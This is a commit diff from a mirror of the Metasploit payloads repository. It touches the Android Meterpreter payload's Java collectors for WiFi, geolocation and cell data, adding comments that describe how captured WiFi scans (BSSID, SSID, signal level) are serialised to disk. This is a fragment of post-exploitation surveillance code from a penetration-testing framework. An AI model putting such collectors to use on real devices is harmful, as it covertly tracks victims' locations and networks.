1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-18 07:11:12 +02:00
This commit is contained in:
HD Moore 2015-11-02 13:08:36 -06:00
parent 30915d2d46
commit 711ed85de3
2 changed files with 10 additions and 4 deletions
java/androidpayload/library/src/com/metasploit/meterpreter

@ -71,11 +71,11 @@ public class IntervalCollectionManager {
this.collectors.put(COLLECT_TYPE_WIFI, collector);
}
// more collection types will go here.
collector = new GeolocationCollector(COLLECT_TYPE_GEO, this.context);
collector = new GeolocationCollector(COLLECT_TYPE_GEO, this.context);
if (collector.loadFromDisk()) {
this.collectors.put(COLLECT_TYPE_GEO, collector);
}
collector = new CellCollector(COLLECT_TYPE_CELL, this.context);
if (collector.loadFromDisk()) {
this.collectors.put(COLLECT_TYPE_CELL, collector);

@ -158,8 +158,14 @@ public class WifiCollector extends IntervalCollector {
synchronized (this.syncObject) {
this.collections.put(System.currentTimeMillis(), results);
// collect requires the result to be the serialised version of
// the collection data so that it can be written to disk
// serialize and write to storage, formatted as:
// Long( configured polling frequency [ timeout ] )
// Long( number of snapshots taken )
// -> Long( collection timestamp key )
// -> Long( number of entries in this snapshot )
// -> String (bssid)
// -> String (ssid)
// -> Short (signal level)
output.writeLong(this.timeout);
output.writeInt(this.collections.size());
for (Long ts : this.collections.keySet()) {